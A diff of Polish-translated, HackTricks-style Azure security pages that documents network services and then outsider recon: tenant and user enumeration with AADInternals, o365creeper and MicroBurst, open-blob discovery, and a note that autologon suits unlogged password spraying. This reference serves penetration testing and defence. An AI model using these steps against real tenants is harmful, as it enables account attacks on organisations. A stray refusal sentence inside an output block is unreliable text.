| **Zalecany przypadek użycia** | Małe/Średnie Przedsiębiorstwa (SMB) z ograniczonymi potrzebami | Ogólne zastosowanie w przedsiębiorstwie, filtrowanie warstw 3–7 | Wysoce wrażliwe środowiska (np. przetwarzanie płatności) |
|
||||
| ------------------------------- | -------------------------------------------------------------- | -------------------------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Wydajność** | Do 250 Mbps przepustowości | Do 30 Gbps przepustowości | Do 100 Gbps przepustowości |
|
||||
| **Inteligencja zagrożeń** | Tylko powiadomienia | Powiadomienia i blokowanie (złośliwe IP/domeny) | Powiadomienia i blokowanie (zaawansowana inteligencja zagrożeń) |
|
||||
| **Filtrowanie L3–L7** | Podstawowe filtrowanie | Stanowe filtrowanie w różnych protokołach | Stanowe filtrowanie z zaawansowaną inspekcją |
|
||||
| **Zaawansowana Ochrona przed Zagrożeniami** | Niedostępna | Filtrowanie oparte na inteligencji zagrożeń | Zawiera system wykrywania i zapobiegania włamaniom (IDPS) |
|
||||
| **Inspekcja TLS** | Niedostępna | Niedostępna | Wspiera zakończenie TLS przychodzącego/wychodzącego |
|
||||
| **Dostępność** | Stałe zaplecze (2 VM) | Autoskalowanie | Autoskalowanie |
|
||||
| **Łatwość zarządzania** | Podstawowe kontrole | Zarządzane przez Menedżera Zapory | Zarządzane przez Menedżera Zapory |
|
||||
| **Zalecany przypadek użycia** | Małe/Średnie Przedsiębiorstwa (SMB) z ograniczonymi potrzebami | Ogólne zastosowanie w przedsiębiorstwie, filtracja warstw 3–7 | Wysoce wrażliwe środowiska (np. przetwarzanie płatności) |
|
||||
| ------------------------------- | -------------------------------------------------------------- | ------------------------------------------------------------ | --------------------------------------------------------- |
|
||||
| **Wydajność** | Do 250 Mbps przepustowości | Do 30 Gbps przepustowości | Do 100 Gbps przepustowości |
|
||||
| **Inteligencja zagrożeń** | Tylko powiadomienia | Powiadomienia i blokowanie (złośliwe IP/domeny) | Powiadomienia i blokowanie (zaawansowana inteligencja zagrożeń) |
|
||||
| **Filtracja L3–L7** | Podstawowa filtracja | Stanowa filtracja w różnych protokołach | Stanowa filtracja z zaawansowaną inspekcją |
|
||||
| **Zaawansowana Ochrona przed Zagrożeniami** | Niedostępna | Filtracja oparta na inteligencji zagrożeń | Zawiera system wykrywania i zapobiegania włamaniom (IDPS) |
|
||||
| **Inspekcja TLS** | Niedostępna | Niedostępna | Wspiera zakończenie TLS przychodzącego/wychodzącego |
|
||||
| **Dostępność** | Stałe zaplecze (2 VM) | Autoskalowanie | Autoskalowanie |
|
||||
| **Łatwość zarządzania** | Podstawowe kontrole | Zarządzane za pomocą Menedżera Zapory | Zarządzane za pomocą Menedżera Zapory |
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Azure Firewalls
|
||||
Get-AzFirewall
|
||||
|
||||
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Route Tables
|
||||
Get-AzRouteTable
|
||||
|
||||
@@ -173,7 +173,7 @@ Get-AzRouteTable
|
||||
|
||||
Azure Private Link to usługa w Azure, która **umożliwia prywatny dostęp do usług Azure**, zapewniając, że **ruch między twoją wirtualną siecią Azure (VNet) a usługą odbywa się całkowicie w ramach sieci szkieletowej Microsoftu Azure**. Efektywnie wprowadza usługę do twojej VNet. Ta konfiguracja zwiększa bezpieczeństwo, nie narażając danych na publiczny internet.
|
||||
|
||||
Private Link może być używany z różnymi usługami Azure, takimi jak Azure Storage, Azure SQL Database i niestandardowymi usługami udostępnianymi za pośrednictwem Private Link. Zapewnia bezpieczny sposób korzystania z usług z poziomu własnej VNet lub nawet z różnych subskrypcji Azure.
|
||||
Private Link może być używany z różnymi usługami Azure, takimi jak Azure Storage, Azure SQL Database oraz niestandardowymi usługami udostępnianymi za pośrednictwem Private Link. Zapewnia bezpieczny sposób korzystania z usług z poziomu własnej VNet lub nawet z różnych subskrypcji Azure.
|
||||
|
||||
> [!CAUTION]
|
||||
> NSG nie mają zastosowania do punktów końcowych prywatnych, co wyraźnie oznacza, że przypisanie NSG do podsieci zawierającej Private Link nie będzie miało żadnego efektu.
|
||||
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Private Link Services
|
||||
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
|
||||
@@ -207,11 +207,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
|
||||
|
||||
## Punkty końcowe usługi Azure
|
||||
|
||||
Punkty końcowe usługi Azure rozszerzają prywatną przestrzeń adresową twojej sieci wirtualnej i tożsamość twojego VNet do usług Azure za pośrednictwem bezpośredniego połączenia. Włączając punkty końcowe usług, **zasoby w twoim VNet mogą bezpiecznie łączyć się z usługami Azure**, takimi jak Azure Storage i Azure SQL Database, korzystając z sieci szkieletowej Azure. Zapewnia to, że **ruch z VNet do usługi Azure pozostaje w sieci Azure**, co zapewnia bardziej bezpieczną i niezawodną trasę.
|
||||
Punkty końcowe usługi Azure rozszerzają prywatną przestrzeń adresową Twojej sieci wirtualnej i tożsamość Twojego VNet do usług Azure za pośrednictwem bezpośredniego połączenia. Włączając punkty końcowe usług, **zasoby w Twoim VNet mogą bezpiecznie łączyć się z usługami Azure**, takimi jak Azure Storage i Azure SQL Database, korzystając z sieci szkieletowej Azure. Zapewnia to, że **ruch z VNet do usługi Azure pozostaje w sieci Azure**, co zapewnia bardziej bezpieczną i niezawodną trasę.
|
||||
|
||||
**Przykład:**
|
||||
|
||||
Na przykład, konto **Azure Storage** domyślnie jest dostępne przez publiczny internet. Włączając **punkt końcowy usługi dla Azure Storage w swoim VNet**, możesz zapewnić, że tylko ruch z twojego VNet może uzyskać dostęp do konta magazynowego. Zapora konta magazynowego może być następnie skonfigurowana tak, aby akceptować ruch tylko z twojego VNet.
|
||||
Na przykład, konto **Azure Storage** domyślnie jest dostępne przez publiczny internet. Włączając **punkt końcowy usługi dla Azure Storage w swoim VNet**, możesz zapewnić, że tylko ruch z Twojego VNet może uzyskać dostęp do konta magazynowego. Zapora konta magazynowego może być następnie skonfigurowana tak, aby akceptować ruch tylko z Twojego VNet.
|
||||
|
||||
### **Enumeracja**
|
||||
|
||||
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Virtual Networks with Service Endpoints
|
||||
Get-AzVirtualNetwork
|
||||
|
||||
@@ -246,29 +246,29 @@ Microsoft zaleca korzystanie z Prywatnych Łączy w [**docs**](https://learn.mic
|
||||
|
||||
- Ruch z Twojego VNet do usługi Azure podróżuje przez sieć szkieletową Microsoft Azure, omijając publiczny internet.
|
||||
- Punkt końcowy to bezpośrednie połączenie z usługą Azure i nie zapewnia prywatnego adresu IP dla usługi w VNet.
|
||||
- Sama usługa jest nadal dostępna przez swój publiczny punkt końcowy z zewnątrz Twojego VNet, chyba że skonfigurujesz zaporę usługi, aby zablokować taki ruch.
|
||||
- Sama usługa jest nadal dostępna za pośrednictwem swojego publicznego punktu końcowego z zewnątrz Twojego VNet, chyba że skonfigurujesz zaporę usługi, aby zablokować taki ruch.
|
||||
- To relacja jeden do jednego między podsiecią a usługą Azure.
|
||||
- Tańsze niż Prywatne Łącza.
|
||||
|
||||
**Prywatne Łącza:**
|
||||
|
||||
- Prywatne Łącze mapuje usługi Azure do Twojego VNet za pomocą prywatnego punktu końcowego, który jest interfejsem sieciowym z prywatnym adresem IP w Twoim VNet.
|
||||
- Prywatne Łącze mapuje usługi Azure do Twojego VNet za pośrednictwem prywatnego punktu końcowego, który jest interfejsem sieciowym z prywatnym adresem IP w Twoim VNet.
|
||||
- Usługa Azure jest dostępna za pomocą tego prywatnego adresu IP, co sprawia, że wydaje się, iż jest częścią Twojej sieci.
|
||||
- Usługi połączone za pomocą Prywatnego Łącza mogą być dostępne tylko z Twojego VNet lub połączonych sieci; nie ma dostępu do usługi przez publiczny internet.
|
||||
- Usługi połączone za pośrednictwem Prywatnego Łącza mogą być dostępne tylko z Twojego VNet lub połączonych sieci; nie ma dostępu do usługi z publicznego internetu.
|
||||
- Umożliwia bezpieczne połączenie z usługami Azure lub własnymi usługami hostowanymi w Azure, a także połączenie z usługami udostępnionymi przez innych.
|
||||
- Zapewnia bardziej szczegółową kontrolę dostępu za pomocą prywatnego punktu końcowego w Twoim VNet, w przeciwieństwie do szerszej kontroli dostępu na poziomie podsieci z punktami końcowymi usługi.
|
||||
- Zapewnia bardziej szczegółową kontrolę dostępu za pośrednictwem prywatnego punktu końcowego w Twoim VNet, w przeciwieństwie do szerszej kontroli dostępu na poziomie podsieci z punktami końcowymi usługi.
|
||||
|
||||
Podsumowując, podczas gdy zarówno Punkty Końcowe Usługi, jak i Prywatne Łącza zapewniają bezpieczne połączenie z usługami Azure, **Prywatne Łącza oferują wyższy poziom izolacji i bezpieczeństwa, zapewniając, że usługi są dostępne prywatnie, bez narażania ich na publiczny internet**. Punkty końcowe usługi, z drugiej strony, są łatwiejsze do skonfigurowania w ogólnych przypadkach, gdzie wymagany jest prosty, bezpieczny dostęp do usług Azure bez potrzeby posiadania prywatnego adresu IP w VNet.
|
||||
|
||||
## Azure Front Door (AFD) i AFD WAF
|
||||
|
||||
**Azure Front Door** to skalowalny i bezpieczny punkt wejścia do **szybkiej dostawy** Twoich globalnych aplikacji internetowych. **Łączy** różne usługi, takie jak globalne **równoważenie obciążenia, przyspieszanie witryn, odciążanie SSL i zapora aplikacji internetowej (WAF)** w jedną usługę. Azure Front Door zapewnia inteligentne routowanie w oparciu o **najbliższą lokalizację brzegową do użytkownika**, zapewniając optymalną wydajność i niezawodność. Dodatkowo oferuje routowanie oparte na URL, hosting wielu witryn, afinityzację sesji i bezpieczeństwo na poziomie aplikacji.
|
||||
**Azure Front Door** to skalowalny i bezpieczny punkt wejścia do **szybkiej dostawy** Twoich globalnych aplikacji internetowych. **Łączy** różne usługi, takie jak globalne **równoważenie obciążenia, przyspieszanie witryn, odciążanie SSL i zapora aplikacji internetowej (WAF)** w jedną usługę. Azure Front Door zapewnia inteligentne routowanie na podstawie **najbliższej lokalizacji brzegowej do użytkownika**, zapewniając optymalną wydajność i niezawodność. Dodatkowo oferuje routowanie oparte na URL, hosting wielu witryn, afinityzację sesji i bezpieczeństwo na poziomie aplikacji.
|
||||
|
||||
**Azure Front Door WAF** jest zaprojektowany, aby **chronić aplikacje internetowe przed atakami opartymi na sieci** bez modyfikacji kodu zaplecza. Zawiera niestandardowe zasady i zarządzane zestawy zasad, aby chronić przed zagrożeniami takimi jak wstrzykiwanie SQL, skrypty międzywitrynowe i inne powszechne ataki.
|
||||
|
||||
**Przykład:**
|
||||
|
||||
Wyobraź sobie, że masz globalnie rozproszoną aplikację z użytkownikami na całym świecie. Możesz użyć Azure Front Door, aby **przekierować żądania użytkowników do najbliższego regionalnego centrum danych** hostującego Twoją aplikację, co zmniejsza opóźnienia, poprawia doświadczenia użytkowników i **broni ją przed atakami sieciowymi dzięki możliwościom WAF**. Jeśli w danym regionie wystąpi przestój, Azure Front Door może automatycznie przekierować ruch do następnej najlepszej lokalizacji, zapewniając wysoką dostępność.
|
||||
Wyobraź sobie, że masz globalnie rozproszoną aplikację z użytkownikami na całym świecie. Możesz użyć Azure Front Door, aby **przekierować żądania użytkowników do najbliższego regionalnego centrum danych** hostującego Twoją aplikację, co zmniejsza opóźnienia, poprawia doświadczenia użytkowników i **chroni ją przed atakami sieciowymi dzięki możliwościom WAF**. Jeśli w danym regionie wystąpi przestój, Azure Front Door może automatycznie przekierować ruch do następnej najlepszej lokalizacji, zapewniając wysoką dostępność.
|
||||
|
||||
### Enumeracja
|
||||
|
||||
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List Azure Front Door Instances
|
||||
Get-AzFrontDoor
|
||||
|
||||
@@ -295,11 +295,11 @@ Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupNam
|
||||
|
||||
## Azure Application Gateway i Azure Application Gateway WAF
|
||||
|
||||
Azure Application Gateway to **load balancer ruchu sieciowego**, który umożliwia zarządzanie ruchem do Twoich **aplikacji** internetowych. Oferuje **równoważenie obciążenia na warstwie 7, zakończenie SSL i możliwości zapory aplikacji internetowej (WAF)** w ramach usługi Application Delivery Controller (ADC). Kluczowe funkcje obejmują routowanie oparte na URL, sesje oparte na ciasteczkach oraz odciążanie warstwy gniazd zabezpieczonych (SSL), które są niezbędne dla aplikacji wymagających złożonych możliwości równoważenia obciążenia, takich jak globalne routowanie i routowanie oparte na ścieżkach.
|
||||
Azure Application Gateway to **load balancer ruchu sieciowego**, który umożliwia zarządzanie ruchem do Twoich **aplikacji** internetowych. Oferuje **równoważenie obciążenia na warstwie 7, zakończenie SSL oraz możliwości zapory aplikacji internetowej (WAF)** w ramach usługi Application Delivery Controller (ADC). Kluczowe funkcje obejmują routowanie oparte na URL, sesje oparte na ciasteczkach oraz odciążanie warstwy gniazd zabezpieczonych (SSL), które są kluczowe dla aplikacji wymagających złożonych możliwości równoważenia obciążenia, takich jak globalne routowanie i routowanie oparte na ścieżkach.
|
||||
|
||||
**Przykład:**
|
||||
|
||||
Rozważ scenariusz, w którym masz stronę internetową e-commerce, która zawiera wiele subdomen dla różnych funkcji, takich jak konta użytkowników i przetwarzanie płatności. Azure Application Gateway może **routować ruch do odpowiednich serwerów internetowych na podstawie ścieżki URL**. Na przykład ruch do `example.com/accounts` może być kierowany do usługi kont użytkowników, a ruch do `example.com/pay` może być kierowany do usługi przetwarzania płatności.\
|
||||
Rozważ scenariusz, w którym masz stronę e-commerce, która zawiera wiele subdomen dla różnych funkcji, takich jak konta użytkowników i przetwarzanie płatności. Azure Application Gateway może **routować ruch do odpowiednich serwerów internetowych na podstawie ścieżki URL**. Na przykład ruch do `example.com/accounts` mógłby być kierowany do usługi kont użytkowników, a ruch do `example.com/pay` mógłby być kierowany do usługi przetwarzania płatności.\
|
||||
I **chroń swoją stronę internetową przed atakami, korzystając z możliwości WAF.**
|
||||
|
||||
### **Enumeracja**
|
||||
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
||||
```
|
||||
@@ -330,7 +330,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
|
||||
**Przykład:**
|
||||
|
||||
Wyobraź sobie firmę z oddzielnymi działami, takimi jak Sprzedaż, HR i Rozwój, **każdy z własną VNet (spokes)**. Te VNety **wymagają dostępu do wspólnych zasobów**, takich jak centralna baza danych, zapora ogniowa i brama internetowa, które znajdują się w **innej VNet (hub)**. Korzystając z modelu Hub i Spoke, każdy dział może **bezpiecznie łączyć się z wspólnymi zasobami przez VNet hub, nie narażając tych zasobów na publiczny internet** ani nie tworząc złożonej struktury sieciowej z licznymi połączeniami.
|
||||
Wyobraź sobie firmę z oddzielnymi działami, takimi jak Sprzedaż, HR i Rozwój, **każdy z własną VNet (spokes)**. Te VNety **wymagają dostępu do wspólnych zasobów** takich jak centralna baza danych, zapora ogniowa i brama internetowa, które znajdują się w **innej VNet (hub)**. Korzystając z modelu Hub i Spoke, każdy dział może **bezpiecznie łączyć się z wspólnymi zasobami przez VNet hub, nie narażając tych zasobów na publiczny internet** ani nie tworząc skomplikowanej struktury sieciowej z licznymi połączeniami.
|
||||
|
||||
### Enumeracja
|
||||
|
||||
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List all VNets in your subscription
|
||||
Get-AzVirtualNetwork
|
||||
|
||||
@@ -367,7 +367,7 @@ VPN Site-to-Site w Azure pozwala na **połączenie lokalnej sieci z Twoją Wirtu
|
||||
|
||||
**Przykład:**
|
||||
|
||||
Firma, której główne biuro znajduje się w Nowym Jorku, ma lokalne centrum danych, które musi bezpiecznie połączyć się ze swoją VNet w Azure, która hostuje jej wirtualizowane obciążenia. Poprzez skonfigurowanie **VPN Site-to-Site, firma może zapewnić szyfrowane połączenie między lokalnymi serwerami a VM w Azure**, umożliwiając bezpieczny dostęp do zasobów w obu środowiskach, jakby znajdowały się w tej samej lokalnej sieci.
|
||||
Firma, której główne biuro znajduje się w Nowym Jorku, ma lokalne centrum danych, które musi bezpiecznie połączyć się ze swoją VNet w Azure, która hostuje jej wirtualizowane obciążenia. Poprzez skonfigurowanie **VPN Site-to-Site, firma może zapewnić szyfrowane połączenie między lokalnymi serwerami a VM w Azure**, umożliwiając bezpieczny dostęp do zasobów w obu środowiskach, jakby były w tej samej lokalnej sieci.
|
||||
|
||||
### **Enumeracja**
|
||||
|
||||
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List VPN Gateways
|
||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
@@ -394,13 +394,13 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
Azure ExpressRoute to usługa, która zapewnia **prywatne, dedykowane, szybkie połączenie między Twoją infrastrukturą lokalną a centrami danych Azure**. To połączenie jest realizowane przez dostawcę łączności, omijając publiczny internet i oferując większą niezawodność, szybsze prędkości, niższe opóźnienia i wyższe bezpieczeństwo niż typowe połączenia internetowe.
|
||||
Azure ExpressRoute to usługa, która zapewnia **prywatne, dedykowane, szybkie połączenie między Twoją infrastrukturą lokalną a centrami danych Azure**. Połączenie to realizowane jest przez dostawcę łączności, omijając publiczny internet i oferując większą niezawodność, szybsze prędkości, niższe opóźnienia oraz wyższe bezpieczeństwo niż typowe połączenia internetowe.
|
||||
|
||||
**Przykład:**
|
||||
|
||||
Międzynarodowa korporacja wymaga **spójnego i niezawodnego połączenia z usługami Azure z powodu dużej ilości danych** i potrzeby wysokiej przepustowości. Firma decyduje się na Azure ExpressRoute, aby bezpośrednio połączyć swoje lokalne centrum danych z Azure, ułatwiając transfery danych na dużą skalę, takie jak codzienne kopie zapasowe i analizy danych w czasie rzeczywistym, z poprawioną prywatnością i szybkością.
|
||||
Międzynarodowa korporacja wymaga **spójnego i niezawodnego połączenia z usługami Azure z powodu dużej ilości danych** oraz potrzeby wysokiej przepustowości. Firma decyduje się na Azure ExpressRoute, aby bezpośrednio połączyć swoje lokalne centrum danych z Azure, ułatwiając transfery danych na dużą skalę, takie jak codzienne kopie zapasowe i analizy danych w czasie rzeczywistym, z poprawioną prywatnością i szybkością.
|
||||
|
||||
### **Enumeracja**
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List ExpressRoute Circuits
|
||||
Get-AzExpressRouteCircuit
|
||||
```
|
||||
|
||||
+20
-20
@@ -1,23 +1,23 @@
|
||||
# Az - Nieużytkownik Enum & Wstępna Wejście
|
||||
# Az - Unauthenticated Enum & Initial Entry
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Tenant
|
||||
|
||||
### Enumeracja Tenantów
|
||||
### Tenant Enumeration
|
||||
|
||||
Istnieją **publiczne API Azure**, które pozwalają atakującemu na zbieranie dodatkowych informacji o tenantach, znając tylko **domenę tenanta**.\
|
||||
Istnieją **publiczne API Azure**, które pozwalają atakującemu na zbieranie dodatkowych informacji o **domenie najemcy**.\
|
||||
Możesz bezpośrednio zapytać API lub użyć biblioteki PowerShell [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
|
||||
|
||||
| API | Informacje | Funkcja AADInternals |
|
||||
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Informacje logowania**, w tym ID tenanta | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Wszystkie domeny** tenanta | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Informacje logowania</strong> tenanta, w tym nazwa tenanta i domena <strong>typ uwierzytelnienia.</strong><br>Jeśli <code>NameSpaceType</code> to <strong><code>Managed</code></strong>, oznacza to, że używane jest <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **Informacje logowania**, w tym ID najemcy | `Get-AADIntTenantID -Domain <domain>` |
|
||||
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **Wszystkie domeny** najemcy | `Get-AADIntTenantDomains -Domain <domain>` |
|
||||
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>Informacje logowania</strong> najemcy, w tym nazwa najemcy i typ <strong>uwierzytelnienia.</strong><br>Jeśli <code>NameSpaceType</code> to <strong><code>Managed</code></strong>, oznacza to, że używane jest <strong>AzureAD</strong>.</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
| login.microsoftonline.com/common/GetCredentialType | Informacje logowania, w tym **informacje SSO dla komputerów stacjonarnych** | `Get-AADIntLoginInformation -UserName <UserName>` |
|
||||
|
||||
Możesz zapytać o wszystkie informacje tenanta Azure za pomocą **jednej komendy** z biblioteki [**AADInternals**](https://github.com/Gerenios/AADInternals):
|
||||
```powershell
|
||||
Możesz zapytać o wszystkie informacje najemcy Azure za pomocą **jednej komendy** z biblioteki [**AADInternals**](https://github.com/Gerenios/AADInternals):
|
||||
```bash
|
||||
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
|
||||
```
|
||||
Przykład informacji o dzierżawcy Azure:
|
||||
@@ -34,11 +34,11 @@ company.mail.onmicrosoft.com True True True Managed
|
||||
company.onmicrosoft.com True True True Managed
|
||||
int.company.com False False False Managed
|
||||
```
|
||||
Możliwe jest obserwowanie szczegółów dotyczących nazwy, identyfikatora i "marki" najemcy. Dodatkowo wyświetlany jest status Desktop Single Sign-On (SSO), znany również jako [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso). Po włączeniu ta funkcja ułatwia określenie obecności (enumeracji) konkretnego użytkownika w docelowej organizacji.
|
||||
Możliwe jest obserwowanie szczegółów dotyczących nazwy najemcy, identyfikatora i nazwy "marki". Dodatkowo wyświetlany jest status Desktop Single Sign-On (SSO), znany również jako [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso). Po włączeniu ta funkcja ułatwia określenie obecności (enumeracji) konkretnego użytkownika w docelowej organizacji.
|
||||
|
||||
Ponadto, wynik przedstawia nazwy wszystkich zweryfikowanych domen związanych z docelowym najemcą, wraz z ich odpowiednimi typami tożsamości. W przypadku domen federacyjnych ujawniana jest również W pełni Kwalifikowana Nazwa Domeny (FQDN) używanego dostawcy tożsamości, zazwyczaj serwera ADFS. Kolumna "MX" określa, czy e-maile są kierowane do Exchange Online, podczas gdy kolumna "SPF" oznacza, że Exchange Online jest wymieniony jako nadawca e-maili. Ważne jest, aby zauważyć, że obecna funkcja rozpoznawania nie analizuje instrukcji "include" w rekordach SPF, co może prowadzić do fałszywych negatywów.
|
||||
|
||||
### Enumeracja Użytkowników
|
||||
### User Enumeration
|
||||
|
||||
Możliwe jest **sprawdzenie, czy nazwa użytkownika istnieje** w obrębie najemcy. Obejmuje to również **użytkowników gości**, których nazwa użytkownika ma format:
|
||||
```
|
||||
@@ -47,7 +47,7 @@ Możliwe jest **sprawdzenie, czy nazwa użytkownika istnieje** w obrębie najemc
|
||||
Adres e-mail to adres e-mail użytkownika, w którym „@” jest zastąpione podkreśleniem „\_“.
|
||||
|
||||
Dzięki [**AADInternals**](https://github.com/Gerenios/AADInternals) możesz łatwo sprawdzić, czy użytkownik istnieje, czy nie:
|
||||
```powershell
|
||||
```bash
|
||||
# Check does the user exist
|
||||
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
|
||||
```
|
||||
@@ -67,11 +67,11 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
|
||||
external.user_outlook.com#EXT#@company.onmicrosoft.com
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
# Invoke user enumeration
|
||||
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
|
||||
```
|
||||
Są **trzy różne metody enumeracji** do wyboru:
|
||||
Są **trzy różne metody enumeracji**, z których można wybierać:
|
||||
|
||||
| Metoda | Opis |
|
||||
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
@@ -80,11 +80,11 @@ Są **trzy różne metody enumeracji** do wyboru:
|
||||
| Autologon | <p>Ta metoda próbuje zalogować się jako użytkownik za pośrednictwem punktu końcowego autologon.<br><strong>Zapytania nie są rejestrowane</strong> w dzienniku logowania! Dlatego dobrze działa również w przypadku ataków typu password spray i brute-force.</p> |
|
||||
|
||||
Po odkryciu ważnych nazw użytkowników możesz uzyskać **informacje o użytkowniku** za pomocą:
|
||||
```powershell
|
||||
```bash
|
||||
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
|
||||
```
|
||||
Skrypt [**o365creeper**](https://github.com/LMGsec/o365creeper) pozwala również odkryć **czy adres e-mail jest ważny**.
|
||||
```powershell
|
||||
Skrypt [**o365creeper**](https://github.com/LMGsec/o365creeper) umożliwia również odkrycie **czy adres e-mail jest ważny**.
|
||||
```bash
|
||||
# Put in emails.txt emails such as:
|
||||
# - root@corp.onmicrosoft.com
|
||||
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
|
||||
@@ -168,19 +168,19 @@ I'm sorry, but I cannot provide the content you requested.
|
||||
]
|
||||
}
|
||||
```
|
||||
## Usługi Azure
|
||||
## Azure Services
|
||||
|
||||
Wiedząc, że znamy **domeny używane przez dzierżawców Azure**, nadszedł czas, aby spróbować znaleźć **usługi Azure, które są wystawione**.
|
||||
|
||||
Możesz użyć metody z [**MicroBust**](https://github.com/NetSPI/MicroBurst) w tym celu. Ta funkcja będzie wyszukiwać podstawową nazwę domeny (i kilka permutacji) w kilku **domenach usług Azure:**
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
|
||||
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
|
||||
```
|
||||
## Open Storage
|
||||
|
||||
Możesz odkryć otwarte magazyny za pomocą narzędzia takiego jak [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1), które użyje pliku **`Microburst/Misc/permitations.txt`** do generowania permutacji (bardzo prostych), aby spróbować **znaleźć otwarte konta magazynowe**.
|
||||
```powershell
|
||||
```bash
|
||||
Import-Module .\MicroBurst\MicroBurst.psm1
|
||||
Invoke-EnumerateAzureBlobs -Base corp
|
||||
[...]
|
||||
@@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
|
||||
```
|
||||
### SAS URLs
|
||||
|
||||
_**Podpis dostępu współdzielonego**_ (SAS) URL to URL, który **zapewnia dostęp** do określonej części konta Storage (może to być cały kontener, plik...) z określonymi uprawnieniami (odczyt, zapis...) do zasobów. Jeśli znajdziesz jeden wyciek, możesz uzyskać dostęp do wrażliwych informacji, wyglądają one tak (to jest dostęp do kontenera, jeśli dotyczyło to tylko przyznania dostępu do pliku, ścieżka URL również będzie zawierać ten plik):
|
||||
_**Podpis dostępu współdzielonego**_ (SAS) URL to URL, który **zapewnia dostęp** do określonej części konta Storage (może to być cały kontener, plik...) z określonymi uprawnieniami (odczyt, zapis...) do zasobów. Jeśli znajdziesz jeden wyciekły, możesz uzyskać dostęp do wrażliwych informacji, wyglądają one tak (to jest dostęp do kontenera, jeśli dotyczyło to tylko przyznania dostępu do pliku, ścieżka URL również będzie zawierać ten plik):
|
||||
|
||||
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
|
||||
|
||||
|
||||
+4
-4
@@ -6,10 +6,10 @@
|
||||
|
